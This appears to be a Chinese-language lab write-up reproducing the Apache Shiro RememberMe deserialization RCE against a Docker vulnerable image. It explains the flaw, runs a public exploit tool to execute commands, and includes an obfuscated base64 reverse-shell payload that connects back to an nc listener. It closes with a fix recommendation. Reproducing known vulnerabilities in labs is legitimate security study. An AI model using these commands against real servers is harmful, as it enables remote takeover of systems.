环境搭建:
docker pull medicean/vulapps:s_shiro_1
工具:
https://github.com/insightglacier/Shiro_exploit
apche shiro简介:
Apache Shiro是一个功能强大且易于使用的Java安全框架,为开发人员提供了一个直观而全面的解决方案,用于身份验证、授权、加密和会话管理。
漏洞原理:
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
漏洞复现:
1.在登录网页的时候可以抓包查看是否存在rememberme模块
发现shiro中的rememberme后可以直接上工具检测是否存在反序列化漏洞
2.shiroscan返回的结果是存在此漏洞,可以直接上shiro_exploit
3.shiro_exploit的RCE
python3 shiro_exploit.py -t 3 -u http://192.168.5.137:8888 -p "touch test"
可以看见主机上直接生成了一个test的文件
4.shiro_exploit的反弹shell
在kali上打开nc监听
nc -lvp 6666
继续在kali上输入命令
python3 shiro_exploit.py -t 3 -u http://192.168.5.137:8888 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTMwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
可以看到返回的shell
修复建议:
该漏洞的核心就是CipherKey的值,将编码改为动态形式并升级为最新shiro版本